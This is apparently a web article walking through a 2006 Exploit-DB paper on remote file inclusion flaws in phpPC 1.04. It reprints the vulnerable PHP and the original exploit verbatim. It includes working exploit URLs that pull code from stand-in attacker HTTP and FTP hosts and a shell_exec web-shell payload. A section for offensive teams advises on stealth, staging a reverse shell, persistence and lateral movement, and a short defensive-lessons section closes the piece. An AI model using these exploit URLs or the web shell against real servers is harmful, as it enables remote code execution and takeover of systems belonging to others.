Understanding phpPC 1.04 Remote File Inclusion Vulnerabilities

Understanding phpPC 1.04 Remote File Inclusion Vulnerabilities
What this paper is
This paper, published by iss4m in 2006, details multiple Remote File Inclusion (RFI) vulnerabilities found in phpPC (PHP Poll Creator) version 1.04. RFI is a type of web application vulnerability that allows an attacker to trick a web server into including and executing arbitrary code from a remote server. In this case, the attacker can leverage these flaws to execute malicious scripts hosted on their own server, potentially leading to full system compromise.
Simple technical breakdown
The core of the vulnerability lies in how the phpPC script handles user-supplied input for file inclusion. Specifically, it takes a variable (relativer_pfad) which is meant to specify a relative path for including configuration and layout files. However, the script doesn't properly sanitize this input.
When the relativer_pfad variable is set to a URL (like http://attacker.com/malicious.txt), the include function in PHP can be tricked into fetching and executing the content of that remote file as if it were a local file. This allows an attacker to upload a malicious PHP script to their own server and then have the vulnerable phpPC application execute it.
The paper highlights three specific files within phpPC 1.04 where this vulnerability exists: poll.php, poll_kommentar.php, and poll_sm.php.
Complete code and payload walkthrough
Let's break down the vulnerable code snippets and the provided exploit examples.
Vulnerable code in poll.php
<?php
if ($is_phppc_included != 1) {
include "config.inc.php";
$file = "lib/functions.inc.php";
include $relativer_pfad.$file;
include ($relativer_pfad . "layout_top.inc.php");
$is_phppc_included = 1;
}else include $relativer_pfad . "lib/get_config.inc.php"; #<== !!!!Explanation:
- The
if ($is_phppc_included != 1)block handles the initial inclusion of core files. include "config.inc.php";includes a local configuration file.$file = "lib/functions.inc.php";defines a local file path.include $relativer_pfad.$file;This is the first critical point. If$relativer_pfadis controlled by the user and contains a URL, it will prepend that URL to$file.include ($relativer_pfad . "layout_top.inc.php");This is the second critical point. Similar to the previous line, if$relativer_pfadis a URL, it will be prepended to"layout_top.inc.php".$is_phppc_included = 1;sets a flag to prevent re-inclusion of these core files on subsequent requests within the same session.else include $relativer_pfad . "lib/get_config.inc.php";This is the most critical part. If$is_phppc_includedis already1(meaning the script is being included by another script, or the user is manipulating the flag), it directly includes$relativer_pfadconcatenated with"lib/get_config.inc.php". This is where the RFI is most easily exploitable.
Exploit Example:
http://localhost/phppc/poll.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt?Mapping:
poll.php: The target script.is_phppc_included=1: This parameter forces theelseblock to execute.relativer_pfad=http://attacker/inject.txt?: This parameter is directly used in theincludestatement within theelseblock. The?at the end is often used to terminate the query string for the web server, ensuring that onlyhttp://attacker/inject.txtis treated as the value forrelativer_pfad.
Payload Execution Flow:
- The attacker crafts a URL that sets
is_phppc_includedto1. - This bypasses the initial
ifblock and enters theelseblock. - The
elseblock executesinclude $relativer_pfad . "lib/get_config.inc.php";. - With
relativer_pfadset tohttp://attacker/inject.txt, the PHP interpreter attempts to includehttp://attacker/inject.txtlib/get_config.inc.php. - However, due to how PHP's
includehandles URLs, it will fetchhttp://attacker/inject.txt. - If
inject.txtcontains valid PHP code, it will be executed on the target server.
Vulnerable code in poll_kommentar.php
<?php
if ($is_phppc_included != 1) {
include "config.inc.php";
include ($relativer_pfad . "lib/functions.inc.php");
}
$com = "phppc_kommentar";
$cookie = $cookie_name.$com.$poll_id;
$cookie_ueberwachung = ${$cookie};
if($action=='new_com') {
if ($cookie_ueberwachung=="flood") {
$must_not_create_com = 1;
}else {
$zeit = time() + 30;
SetCookie("$cookie_name$com$poll_id","flood","$zeit","/");
}
}
if ($is_phppc_included != 1) {
include "layout_top.inc.php";
$is_phppc_included = 1;
}
include $relativer_pfad . "poll_titel_kat.inc.php"; # Here !!!!!!!!Explanation:
- This script also uses
$is_phppc_includedto control inclusion flow. - The first
if ($is_phppc_included != 1)block includes local files. - The subsequent code handles cookie-based flood protection for comments.
- The second
if ($is_phppc_included != 1)block includeslayout_top.inc.php. include $relativer_pfad . "poll_titel_kat.inc.php";This is the critical line. Similar topoll.php, if$relativer_pfadis controlled by the user and contains a URL, it will be prepended to"poll_titel_kat.inc.php", leading to RFI.
Exploit Example:
http://localhost/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt ?Mapping:
poll_kommentar.php: The target script.is_phppc_included=1: Forces the secondifblock to execute, and also ensures the firstifblock is skipped if the flag is already set.relativer_pfad=http://attacker/inject.txt ?: This parameter is used in the finalincludestatement. The space afterinject.txtand the?are likely intended to ensure that the URL is correctly parsed and that the?doesn't interfere with the query string processing of the web server.
Payload Execution Flow:
- The attacker crafts a URL setting
is_phppc_includedto1. - The script proceeds, potentially skipping initial includes if
$is_phppc_includedwas already set. - The final
include $relativer_pfad . "poll_titel_kat.inc.php";is reached. - With
relativer_pfadset tohttp://attacker/inject.txt, PHP attempts to includehttp://attacker/inject.txtpoll_titel_kat.inc.php. - PHP fetches
http://attacker/inject.txt. - If
inject.txtcontains valid PHP code, it is executed on the target server.
Vulnerable code in poll_sm.php
if(substr_count($relativer_pfad,"http://") >= 1 OR substr_count($relativer_pfad,"../") >= 1) $relativer_pfad = "";
if ($is_phppc_included != 1) {
$file = "lib/functions.inc.php";
include $relativer_pfad.$file;
}
include ($relativer_pfad . "layout_top_sm.inc.php");Explanation:
- This script has a partial sanitization check:
if(substr_count($relativer_pfad,"http://") >= 1 OR substr_count($relativer_pfad,"../") >= 1) $relativer_pfad = "";. This attempts to prevent RFI by checking for "http://" and directory traversal sequences. - However, the paper points out a critical bypass: it only checks for "http://" and not other URL schemes like "ftp://".
include $relativer_pfad.$file;This line uses the potentially modified$relativer_pfadto includelib/functions.inc.php.include ($relativer_pfad . "layout_top_sm.inc.php");This is the critical line. It uses the (potentially sanitized)$relativer_pfadto include"layout_top_sm.inc.php". If the sanitization is bypassed, this leads to RFI.
Exploit Example:
http://localhost/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=ftp://user:pass@ftp.attacker.ltd/script.txt ?Mapping:
poll_sm.php: The target script.is_phppc_included=1: This parameter is not explicitly used in the provided snippet forpoll_sm.phpto trigger a specific RFI path, but it's common in RFI exploits to manipulate such flags if they exist and control inclusion logic. In this specific snippet, the RFI is directly exploitable without needing to setis_phppc_included.relativer_pfad=ftp://user:pass@ftp.attacker.ltd/script.txt ?: This parameter is designed to bypass the sanitization. Since the check only looks for "http://", using "ftp://" allows the URL to pass through. The?at the end helps terminate the query string.
Payload Execution Flow:
- The attacker crafts a URL with
relativer_pfadset to anftp://URL. - The sanitization
if(substr_count($relativer_pfad,"http://") >= 1 OR substr_count($relativer_pfad,"../") >= 1) $relativer_pfad = "";is executed. - Since the input is
ftp://..., it does not contain "http://" or "../", so$relativer_pfadremains unchanged. - The script proceeds to
include ($relativer_pfad . "layout_top_sm.inc.php");. - PHP interprets
ftp://user:pass@ftp.attacker.ltd/script.txtas a URL. - PHP attempts to fetch
ftp://user:pass@ftp.attacker.ltd/script.txt. - If the FTP server at
ftp.attacker.ltdserves the filescript.txtand that file contains valid PHP code, it will be executed on the target server.
Note on Shellcode/Payload: The paper itself does not provide specific shellcode or payload bytes. The "payload" in RFI attacks is typically a remote PHP script hosted by the attacker. This script can perform various actions, such as:
- Executing arbitrary commands on the server (command injection).
- Reading sensitive files (e.g.,
config.inc.phpto get database credentials). - Uploading further malware.
- Creating a web shell for persistent access.
- Performing denial-of-service attacks.
The content of inject.txt or script.txt would be attacker-defined PHP code. For example, a simple inject.txt to confirm RFI could contain:
<?php echo "RFI Successful!"; ?>A more malicious payload might look like:
<?php
// Basic command execution
$command = $_GET['cmd'];
echo "<pre>" . shell_exec($command) . "</pre>";
?>This would allow the attacker to execute commands by appending &cmd=your_command to the exploit URL.
Practical details for offensive operations teams
- Required Access Level: Low. This is a remote vulnerability exploitable via HTTP requests. No prior authentication or user privileges are typically required on the target application.
- Lab Preconditions:
- A target instance of phpPC 1.04 installed on a web server.
- A separate attacker-controlled web server (or FTP server for
poll_sm.php) capable of serving files. This server needs to be accessible from the target server's network. - A way to host the malicious PHP script on the attacker's server (e.g., a simple PHP file).
- Tooling Assumptions:
- A web browser for manual testing and exploitation.
- A command-line HTTP client (like
curl) for scripting and automation. - A web server (e.g., Apache, Nginx) and FTP server for the attacker's infrastructure.
- A text editor for crafting malicious payloads.
- Potentially, a vulnerability scanner that can identify RFI vulnerabilities, though manual verification is crucial.
- Execution Pitfalls:
- Firewall Restrictions: The target server might have outbound firewall rules preventing connections to external HTTP/FTP servers.
- Web Application Firewalls (WAFs): Modern WAFs may detect and block requests containing suspicious URL schemes or patterns in parameters.
- PHP Configuration (
allow_url_fopen,allow_url_include): RFI relies onallow_url_fopenbeing enabled inphp.ini. Ifallow_url_includeis also enabled, it's even more dangerous as it allows including remote files that are not necessarily PHP scripts but can be executed as such. If these are disabled, RFI is not possible. - Sanitization Bypass: The
poll_sm.phpexample shows that sanitization can be incomplete. Attackers must thoroughly test bypasses. - URL Encoding: Special characters in URLs might need encoding.
- Payload Delivery: The attacker's server must be reliable and accessible. The payload script must be correctly formatted PHP.
- Target Application Logic: The specific
includestatement must be reachable and executed with the attacker-controlledrelativer_pfad. Theis_phppc_included=1parameter is key for targeting specific code paths inpoll.phpandpoll_kommentar.php.
- Tradecraft Considerations:
- Reconnaissance: Identify the exact version of phpPC running. Look for common web application directories.
- Payload Staging: For complex attacks, the initial RFI can be used to download and execute a more sophisticated payload (e.g., a reverse shell).
- Stealth: Avoid overly noisy payloads. Command execution can be logged. Consider using techniques that are less likely to trigger IDS/IPS.
- Persistence: If successful, establish a persistent backdoor.
- Lateral Movement: If the compromised server has access to other internal systems, plan for lateral movement.
Where this was used and when
This paper was published in November 2006. Vulnerabilities like these were common in web applications developed in PHP during the early to mid-2000s. phpPC was a relatively simple polling script, and such applications were often targets for attackers looking for easy entry points into web servers. While this specific version and script might not be widely deployed today, the RFI technique remains relevant for older, unpatched web applications.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is paramount. Never trust user input. Always validate and sanitize any data that is used in file operations, database queries, or system commands. For file inclusions, ensure that only expected local paths are allowed.
- Secure Configuration: Ensure
allow_url_fopenandallow_url_includeare disabled in PHP configurations unless absolutely necessary and thoroughly secured. - Regular Patching and Updates: Keep all web applications and their dependencies updated to the latest stable versions to fix known vulnerabilities.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including RFI attempts.
- Principle of Least Privilege: Run web servers and applications with the minimum necessary privileges. This limits the damage an attacker can do even if they achieve code execution.
- Code Auditing: Regularly audit custom or third-party code for security flaws, especially around input handling and file operations.
- Logging and Monitoring: Implement robust logging for web server access and application errors. Monitor logs for suspicious activity, such as unusual requests or repeated inclusion errors.
ASCII visual (if applicable)
This vulnerability can be visualized as a data flow where user input directly influences a critical function.
+-------------------+ +---------------------+ +-------------------+
| Attacker's Server | ----> | Target Web Server | ----> | PHP Interpreter |
| (e.g., inject.txt)| | (phpPC Application) | | (on Target Server)|
+-------------------+ +---------------------+ +-------------------+
^ |
| | User Input (URL)
| v
| +---------------------+
+----------------------| $relativer_pfad |
+---------------------+
|
| (Concatenated with local path)
v
+---------------------+
| PHP 'include()' |
| function |
+---------------------+
|
v
(Remote File Fetched & Executed)This diagram illustrates how user-controlled input ($relativer_pfad containing a URL) is passed to the include() function, which then fetches and executes code from the attacker's server.
Source references
- Paper ID: 2827
- Paper Title: phpPC 1.04 - Multiple Remote File Inclusions
- Author: iss4m
- Published: 2006-11-21
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/2827
- Raw URL: https://www.exploit-db.com/raw/2827
Original Exploit-DB Content (Verbatim)
phpPC 1.04 Multiples Remote File Inclusion
Script : PHP Poll Creator
Version : 1.04
Vendor URL : http://www.phppc.de
Impact : Remote File Inclusion
Discovered by : iss4m
Contact : iss4m.1@gmail.com
Vulnerable code in poll.php
--------------------------------
<?php
if ($is_phppc_included != 1) {
include "config.inc.php";
$file = "lib/functions.inc.php";
include $relativer_pfad.$file;
include ($relativer_pfad . "layout_top.inc.php");
$is_phppc_included = 1;
}else include $relativer_pfad . "lib/get_config.inc.php"; #<== !!!!
Exploit :
**********
http://localhost/phppc/poll.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt?
Vulnerable code in poll.php poll_kommentar.php
-----------------------------------------------
<?php
if ($is_phppc_included != 1) {
include "config.inc.php";
include ($relativer_pfad . "lib/functions.inc.php");
}
$com = "phppc_kommentar";
$cookie = $cookie_name.$com.$poll_id;
$cookie_ueberwachung = ${$cookie};
if($action=='new_com') {
if ($cookie_ueberwachung=="flood") {
$must_not_create_com = 1;
}else {
$zeit = time() + 30;
SetCookie("$cookie_name$com$poll_id","flood","$zeit","/");
}
}
if ($is_phppc_included != 1) {
include "layout_top.inc.php";
$is_phppc_included = 1;
}
include $relativer_pfad . "poll_titel_kat.inc.php"; # Here !!!!!!!!
http://localhost/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt ?
Vulnerable code in poll_sm.php
---------------------------------
if(substr_count($relativer_pfad,"http://") >= 1 OR substr_count($relativer_pfad,"../") >= 1) $relativer_pfad = "";
if ($is_phppc_included != 1) {
$file = "lib/functions.inc.php";
include $relativer_pfad.$file;
}
include ($relativer_pfad . "layout_top_sm.inc.php");
the script check only if $relativer_pfad contain "http://" but we can include remote file using ftp://
Exploit :
**********
http://localhost/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=ftp://user:pass@ftp.attacker.ltd/script.txt ?
# milw0rm.com [2006-11-21]